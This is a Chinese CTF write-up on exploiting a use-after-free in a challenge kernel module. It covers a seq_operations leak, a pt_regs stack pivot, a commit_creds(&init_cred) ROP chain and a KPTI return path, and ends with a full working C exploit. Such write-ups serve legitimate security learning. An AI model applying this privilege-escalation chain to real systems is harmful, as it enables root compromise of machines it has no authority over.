内核交互流程

有关ioctl第三个参数的传递的疑惑及解决

  1. 用户(自然)在问关于内核堆溢出(kernel heap)利用时,ioctl函数的第三个参数传入的结构体类型问题。
  2. 用户困惑为什么有些题目使用struct op_chunk,而有些使用struct chunk,并且在IDA中无法识别ioctl的第三个参数。
  3. 用户想知道如何确定ioctl第三个参数的结构体类型。

命无余年(似乎是另一个用户或助手)的回答要点:

  1. 第三个参数本质上就是一个指针(指针类型)。
  2. 内核中会通过copy_from_user等函数将用户空间的结构体数据拷贝到内核空间。
  3. 这不是IDA的问题,而是需要自己逆向分析确定结构体的格式。
  4. 无论是用户态还是内核态,都需要根据程序逻辑逆向出结构体的定义。

从知识库中,我可以找到相关的背景信息:

从知识库[1]和[4]中,我们可以看到:

  • ioctl函数的第三个参数是可变参数,可以是整数或指针。
  • 在用户空间,ioctl(int fd, unsigned long request, ...)
  • 在内核空间,long (*unlocked_ioctl)(struct file *filp, unsigned int cmd, unsigned long arg);

从知识库[2]、[3]、[5]和[6]中,我们可以看到:

  • ioctl命令码的生成和使用。
  • 通常,第三个参数是一个指针,指向用户空间的结构体。
  • 内核需要通过copy_from_user等函数将用户空间的数据拷贝到内核空间。

基于这些信息,我可以总结对话的主要内容:

自然的问题核心在于:在内核pwn题中,如何确定ioctl函数第三个参数(指针)指向的结构体类型。

命无余年给出的解答是:ioctl的第三个参数是一个指针,指向用户空间的结构体。在内核中,会通过copy_from_user等函数将用户空间的数据拷贝到内核空间,然后解析这个结构体。

自然的困惑点在于:IDA没有正确识别出ioctl的第三个参数,所以不知道如何确定结构体类型。

命无余年指出:这不是IDA的问题,而是需要自己逆向分析确定结构体的格式。在普通pwn题中,我们也是通过逆向分析确定结构体的格式,内核pwn也是一样的。



在较新的内核版本(≥2.6.36)中,ioctl 的驱动实现函数原型为:

longmy_ioctl(struct file *filp,unsignedint cmd,unsignedlong arg);
  • filp:指向文件结构体。
  • cmd:用户传入的命令码(用于区分不同操作)。
  • arg:第三个参数,通常是用户空间传递的一个 unsigned long 类型的值,它可以是一个整数,也可以是一个 用户空间指针。

第三个参数 arg 与 copy_to_user / copy_from_user 的关系

关键点在于:arg 可能是一个指向用户空间内存的指针。如果驱动需要读取或写入该内存区域,则必须使用 copy_from_user() 或 copy_to_user() 来安全地在内核空间和用户空间之间传输数据。

long my_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
    int user_val;
    switch (cmd) {
    case MY_CMD_SET_VALUE:
        if (copy_from_user(&user_val, (int __user *)arg, sizeof(user_val))) {
            return -EFAULT; // 拷贝失败
        }
        // 现在可以在内核中使用 user_val
        break;

    case MY_CMD_GET_VALUE:
        user_val = get_some_kernel_value();
        if (copy_to_user((int __user *)arg, &user_val, sizeof(user_val))) {
            return -EFAULT;
        }
        break;
    }
    return 0;
}

本题中ioctl是如何定义的

首先依据ida的变量的什么声明

  unsigned __int64 index; // [rsp-48h] [rbp-48h] BYREF
  unsigned __int64 size; // [rsp-40h] [rbp-40h]
  __int64 content_; // [rsp-38h] [rbp-38h]

Case 1: cmd == 0x20 (malloc)

if ( copy_from_user(&index, a3,0x10) )
  • 从 arg(即 a3)拷贝 0x10 = 16 字节
  • 前 8 字节 → index(实际是 size)
  • 后 8 字节 → n0x100(其实是用户数据指针,后面被当作 v14 使用)

所以应传入:

struct {
size_t size;// <= 0x20
void *user_data;// 指向要拷贝进内核的数据
} req;

然后调用:

ioctl(fd,0x20, &req);

注意:这里变量命名混乱(index 实际是 size),但逻辑如此。

Case 2: cmd == 0x30 (delete)

Case 2: cmd == 0x30 (delete)

copy_from_user(&index, a3,8)
  • 只拷贝 8 字节 → 一个 uint64_t index
  • 用于索引 addrList[index]

应传入:

uint64_t idx =5;
ioctl(fd,0x30, &idx);
Case 3: cmd == 0x40 (show)
copy_from_user(&index, a3,24)
  • 拷贝 24 字节 → 可能是一个结构体,包含 index 和其他字段(虽然只用了 index)

传入 24 字节结构体,至少前 8 字节是 index:

struct {
uint64_t index;
char padding[16];
} req = { .index =3 };
ioctl(fd,0x40, &req);
Case 4: cmd == 0x50 (edit)
copy_from_user(&index, a3,24)
// ...
copy_from_user(content, v6, n0x100_2);
  • 前 8 字节:index
  • 接下来 8 字节:n0x100(size)
  • 再接下来 8 字节:v14(用户数据指针)

所以结构体应为:

struct {
uint64_t index;
uint64_t size;
void *data;
} req;

调用:

req.index =2;
req.size =0x100;
req.data = user_buffer;
ioctl(fd,0x50, &req);


做题

题目漏洞分析

我们定义好ioctl之后,就能去正常的做题了

这个题目的漏洞是这个,有一个白给的uaf

  if ( _a2 != 0x20 )
  {
    if ( _a2 != 0x30 )
      return result;
    if ( !copy_from_user(&index, a3, 8) )
    {
      if ( (unsigned int)index <= 0x20 )        // delete
      {
        if ( addrList[(unsigned int)index] )
          kfree();
      }
      return 0;
    }
    return -22;
  }


然后题目的申请如下

这里的a3是从size开始的,而不是从index开始,所以说这里我们的命名错误,但是考虑到其他变量的正常的运行,所以说这里就这样看吧

大致就是限制了0x20的大小,然后的话可以往里面写入0x20的内容

  if ( copy_from_user(&index, a3, 0x10) )
    return -22;
  if ( index > 0x20 )                           // malloc
    return 0;
  object_ptr = _kmalloc(index, 0xCC0);
  heap_ptr = object_ptr;
  if ( !object_ptr )
    return 0;
  n0x20_1 = index;
  n0x100_1 = size;
  if ( index > 0x7FFFFFFF )
    goto LABEL_29;
  _check_object_size(object_ptr, index, 0);
  v11 = copy_from_user(heap_ptr, n0x100_1, n0x20_1);
  if ( v11 )
    return 0;

利用原理

我们找到了漏洞之后,接下来我们应该去考虑如何去进行利用

泄露

当然,这个题目我做的本地,没有开启kaslr去做,开启的话在脚本上加上偏移就行

在 seq_operations 被初始化时其函数指针皆被初始化为内核中特定的函数(尚未求证具体是什么函数),利用 read 读出这些值后我们便能获得内核偏移。

提权

虽然我们现在已经获得了内核基址,且我们也能够通过直接覆写 seq_operations->star来劫持内核执行流,但是这个只是允许我们控制一个片段,我们没法进行commit_creds(prepare_kernel_cred(NULL))去进行提取,因此我们想办法去控制栈,进而执行rop

栈迁移

系统调用的本质是什么?或许不少人都能够答得上来是由我们在用户态布置好相应的参数后执行 syscall 这一汇编指令,通过门结构进入到内核中的 entry_SYSCALL_64这一函数,随后通过系统调用表跳转到对应的函数

现在让我们将目光放到 entry_SYSCALL_64 这一用汇编写的函数内部,观察,我们不难发现其有着这样一条指令:

    PUSH_AND_CLEAR_REGS rax=$-ENOSYS

这是一条十分有趣的指令,它会将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体,该结构体实质上位于内核栈底,定义如下:

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

我们可以利用上述的pt_regs实现rop,为此我们执行syscall的时候需要提前控制好寄存器

但是因为我们的长度不是很够,所以有了下面这个新的利用方式

在内核当中有一个特殊的 cred —— init_cred,这是 init 进程的 cred,因此其权限为 root,且该 cred 并非是动态分配的,因此当我们泄露出内核基址之后我们也便能够获得 init_cred 的地址,那么我们就只需要执行一次 commit_creds(&init_cred) 便能完成提权

kpti的绕过

这个题目是开启了kpti,也就是内核态不能执行和读取任何用户态的代码,用户态仅仅能通过syscall访问内核态

找到合适的 gadget 完成 ROP 链的构造之后,我们接下来要考虑如何“完美地降落回用户态”

还是让我们将目光放到系统调用的汇编代码中,我们发现内核也相应地在 arch/x86/entry/entry_64.S 中提供了一个用于完成内核态到用户态切换的函数 swapgs_restore_regs_and_return_to_usermode

源码的 AT&T 汇编比较反人类,推荐直接查看 IDA 的反汇编结果(亲切的 Intel 风格):

在实际操作时前面的一些栈操作都可以跳过,直接从 mov rdi, rsp 开始,这个函数大概可以总结为如下操作:

mov        rdi, cr3
or         rdi, 0x1000
mov     cr3, rdi
pop        rax
pop        rdi
swapgs
iretq

因此我们只需要布置出如下栈布局即可完美降落回用户态:

↓    swapgs_restore_regs_and_return_to_usermode
    0 // padding
    0 // padding
    user_shell_addr
    user_cs
    user_rflags
    user_sp
    user_ss

当然,这个题目中,我们可以额外利用这个函数中的pop片段去调整栈帧的结构,进行可以精准执行我们的提前布置好的rop链

并且在这个题目,我们的user_regs已经是被提前设置好了,这个的话不需要我们额外去布局

cache_cpu绕过

我们知道,到了4.15以上的内核,很多结构体都额外多了一层隔离

我们首先需要知道:

打开方式
以只读方式打开文件/proc/self/stat ,申请得到的是 seq_operations 结构体, 注意不是seq_file 。

然后(single_open 函数实现):

int single_open(struct file *file, int (*show)(struct seq_file *, void *), void * data ) {
    struct seq_operations *op = kmalloc(sizeof(*op), GFP_KERNEL_ACCOUNT);
    int res = -ENOMEM;
    if (op) {
        op -> start = single_start;
        op -> next = single_next;
        // ...
    }
}

关键结论:

  • seq_operations 是动态分配的,通过 kmalloc 分配
  • 分配大小:sizeof(*op) = 32 字节(x86_64 架构,4个指针 * 8 字节 = 32 字节)
  • 使用缓存:kmalloc-32(不是独立的 slab 缓存,而是共享的 kmalloc 缓存)
  • 申请方式:open("/proc/self/stat", O_RDONLY) 会触发 single_open,从而分配 seq_operations 结构体

至此,解决了我们独立cache_cpu的标志位绕过的问题

题目环境的准备

打包img镜像另一种好用的方式

#!/bin/sh
find . -print0 \
| cpio --null -ov --format=newc \
| gzip -9 > rootfs.img
mv rootfs.img ..

对于运行时候的符号,我们在本地做的时候,可以通过这个方式才进行

cat /proc/kallsyms > /tmp/kallsyms

这个题目没有给vmlinux,我们需要提取,这里前面都贴了,我就不重复去贴了

然后我们提取出来vmlinux,我们函数符号和gadget就都知道了

泄露函数的用这个动态运行的也行,当然这个需要我们前面的模版这个的照应,我们就假设地址偏移已知去做,不再去演示一遍了。

void leak_start(){
    info(PINK,"leak start");
    FILE* fd = fopen("/tmp/kallsyms","r");
    if(!fd){
        errExit("fail");
    }
    info(PINK,"open success");
    char buf[64] = {0};
    int found_commit = 0,found_prepare = 0;
    while (fgets(buf,sizeof(buf),fd)){

        if(!found_commit && strstr(buf,"commit_creds")){
            char addr[17] = {0};
            strncpy(addr,buf,16);
            sscanf(addr,"%llx",&commit_creds); 
            printf("[+]commit_creds addr = %p\n",(void *)commit_creds);
            found_commit = 1;
        }
    
        if(!found_prepare && strstr(buf,"prepare_kernel_cred")){
            char addr[17] = {0};
            strncpy(addr,buf,16);
            sscanf(addr,"%llx",&prepare_kernel_cred); 
            printf("[+]prepare_kernel_cred addr = %p\n",(void *)prepare_kernel_cred);
            found_prepare = 1;
        }
    if(found_commit && found_prepare){
        break;
    }
    info(YELLOW,"symbol read over");
    }
fclose(fd);
}

首先,我们先去定义一下这道题目控制的结构体的类型

定义之后如下,这里主要的是用的并不是单纯的一个结构体,而是用到了两个不同的不同的结构体

至于原因在ioctl已经介绍过了

int dev_fd;

struct op_chunk
{
    size_t idx;
    size_t size;
    void *buf;
};

struct chunk
{
    size_t size;
    void *buf;
};

void read(size_t idx,size_t size,size_t *buf)
{
    struct op_chunk op =
    {
        .idx = idx,
        .size = size,
        .buf = buf,
    };
    ioctl(dev_fd,0x40,&op);
}

void write(size_t idx,size_t size,void *buf)
{
    struct op_chunk op = 
    {
        .idx = idx,
        .size = size,
        .buf = buf,
    };
    ioctl(dev_fd,0x50,&op);
}

void delete(size_t idx)
{
    struct op_chunk op = 
    {
        .idx = idx,
    };
    ioctl(dev_fd,0x30,&op);
}

void kalloc(size_t size,void *buf)
{
    struct chunk alloc = 
    {
        .size = size,
        .buf  = buf,
    };
    ioctl(dev_fd,0x20,&alloc);
}

在此之前我们定义我们的gdb调试文件,然后我们先运行一下调试一下看看

start.sh需要加上这个参数,我们的qemu缺少了这个模块

-no-kvm

这个题目的内核基址还是有问题的

gdb调试的自动化脚本如下

#!/bin/sh
gdb -q \
    -ex "file vmlinux" \
    -ex "symbol-file vmliux" \
    -ex "add-symbol-file test_kk.ko 0xffffffffc0002000 " \
    -ex "target remote localhost:1234" \
    -ex "b *(0xffffffffc0002000+0x2E3)" \
    -ex "b *(0xffffffffc0002000+0x21A)" \
    -ex "b *(0xffffffffc0002000+0x191)" \
    -ex "b *(0xffffffffc0002000+0x253)" \

​

exp编写

首先我们利用uaf,控制seq_operation结构体

int main(int argc, char ** argv, char ** envp)
{
    puts("start");
    dev_fd = open("/dev/kerpwn", O_RDWR);

    allocChunk(0x20, buf);
    deleteChunk(0);
    seq_fd = open("/proc/self/stat", O_RDONLY);
    readChunk(0, 0x20, buf);  //泄漏

我们泄露完成之后,接下来我们需要修改seq_operation,为栈迁移做准备

    kernel_offset = buf[0] - SEQ_OPS_0;
    kernel_base += kernel_offset;
    swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset;
    init_cred = INIT_CRED + kernel_offset;
    pop_rdi_ret = POP_RDI_RET + kernel_offset;
    commit_creds = COMMIT_CREDS + kernel_offset;
    gadget = 0xffffffff8135b0f6 + kernel_offset; // 0xffffffff8135b0f6    add    rsp, 0x180 

    buf[0] = gadget;
    swapgs_restore_regs_and_return_to_usermode += 9;
    printf("gadget_address == > %p",vuln);
    puts("again");
    writeChunk(0, 0x20, buf);  //伪造

这个只允许我们控制一个gadget,所以我们要想办法利用这个gadget完成栈迁移的同时写上其他的gadget

我们定义了下面这个片段,帮助我们

► 0x40136b syscall <SYS_read> fd: 4 buf: 0x7fff3cd4e7c0 —▸ 0x7fff3cd4e7f0 —▸ 0x7fff3cd4e838 —▸ 0x7fff3cd4ffcc ◂— 0x485300347078652f /* '/exp4' */ nbytes: 8

在执行read的调用栈迁移的同时,我们铺垫好gadget,并且利用swapgs_restore_regs_and_return_to_usermode+9这个片段,额外调整一下栈帧,使其可以顺利返回用户态

void vuln(){
    __asm__(
        "mov r15, 0xbeefdead;"
        "mov r14, pop_rdi_ret;"
        "mov r13, init_cred;" // add rsp, 0x40 ; ret
        "mov r12, commit_creds;"
        "mov rbp, swapgs_restore_regs_and_return_to_usermode;"
        "mov rbx, 0xbeefdead;"
        "mov r11, 0xbeefdead;"
        "mov r10, 0xbeefdead;"
        "mov r9, 0xbeefdead;"
        "mov r8, 0xbeefdead;"
        "xor rax, rax;"
        "mov rcx, 0x666666;"
        "mov rdx, 8;"
        "mov rsi, rsp;"
        "mov rdi, seq_fd;"
        "syscall"
    );
}

最后执行system即可

最终exp如下

#include <fcntl.h>
#include <stddef.h>

#define COMMIT_CREDS 0xffffffff810c8d40
#define SEQ_OPS_0 0xffffffff81319d30
#define INIT_CRED 0xffffffff82663300
#define POP_RDI_RET 0xffffffff81089250
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81c00f30

long dev_fd;

struct op_chunk
{
    size_t  idx;
    size_t  size;
    void    *buf;
};

struct alloc_chunk
{
    size_t  size;
    void    *buf;
};

void readChunk(size_t idx, size_t size, void *buf)
{
    struct op_chunk op = 
    {
        .idx = idx,
        .size = size,
        .buf = buf,
    };
    ioctl(dev_fd, 0x40, &op);
}

void writeChunk(size_t idx, size_t size, void *buf)
{
    struct op_chunk op = 
    {
        .idx = idx,
        .size = size,
        .buf = buf,
    };
    ioctl(dev_fd, 0x50, &op);
}

void deleteChunk(size_t idx)
{
    struct op_chunk op = 
    {
        .idx = idx,
    };
    ioctl(dev_fd, 0x30, &op);
}

void allocChunk(size_t size, void *buf)
{
    struct alloc_chunk alloc = 
    {
        .size = size,
        .buf = buf,
    };
    ioctl(dev_fd, 0x20, &alloc);
}

size_t      buf[0x100];
size_t      swapgs_restore_regs_and_return_to_usermode;
size_t      init_cred;
size_t      pop_rdi_ret;
long        seq_fd;
void *      kernel_base = 0xffffffff81000000;
size_t      kernel_offset = 0;
size_t      commit_creds;
size_t      gadget;


void vuln(){
    __asm__(
        "mov r15, 0xbeefdead;"
        "mov r14, pop_rdi_ret;"
        "mov r13, init_cred;" // add rsp, 0x40 ; ret
        "mov r12, commit_creds;"
        "mov rbp, swapgs_restore_regs_and_return_to_usermode;"
        "mov rbx, 0xbeefdead;"
        "mov r11, 0xbeefdead;"
        "mov r10, 0xbeefdead;"
        "mov r9, 0xbeefdead;"
        "mov r8, 0xbeefdead;"
        "xor rax, rax;"
        "mov rcx, 0x666666;"
        "mov rdx, 8;"
        "mov rsi, rsp;"
        "mov rdi, seq_fd;"
        "syscall"
    );
}

int main(int argc, char ** argv, char ** envp)
{
    puts("start");
    dev_fd = open("/dev/kerpwn", O_RDWR);

    allocChunk(0x20, buf);
    deleteChunk(0);
    seq_fd = open("/proc/self/stat", O_RDONLY);
    readChunk(0, 0x20, buf);  //泄漏

    kernel_offset = buf[0] - SEQ_OPS_0;
    kernel_base += kernel_offset;
    swapgs_restore_regs_and_return_to_usermode = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + kernel_offset;
    init_cred = INIT_CRED + kernel_offset;
    pop_rdi_ret = POP_RDI_RET + kernel_offset;
    commit_creds = COMMIT_CREDS + kernel_offset;
    gadget = 0xffffffff8135b0f6 + kernel_offset; // 0xffffffff8135b0f6    add    rsp, 0x180 

    buf[0] = gadget;
    swapgs_restore_regs_and_return_to_usermode += 9;
    printf("gadget_address == > %p",vuln);
    puts("again");
    writeChunk(0, 0x20, buf);  //伪造
    vuln();
    system("/bin/sh");

    return 0;
}

总结

通过这个题目,我们搞清楚了内核的交互的流程,并且顺利的完成了seq_operation+pt_regs这两个结构体的组合利用,在近代的堆题中也是拥有了一战之力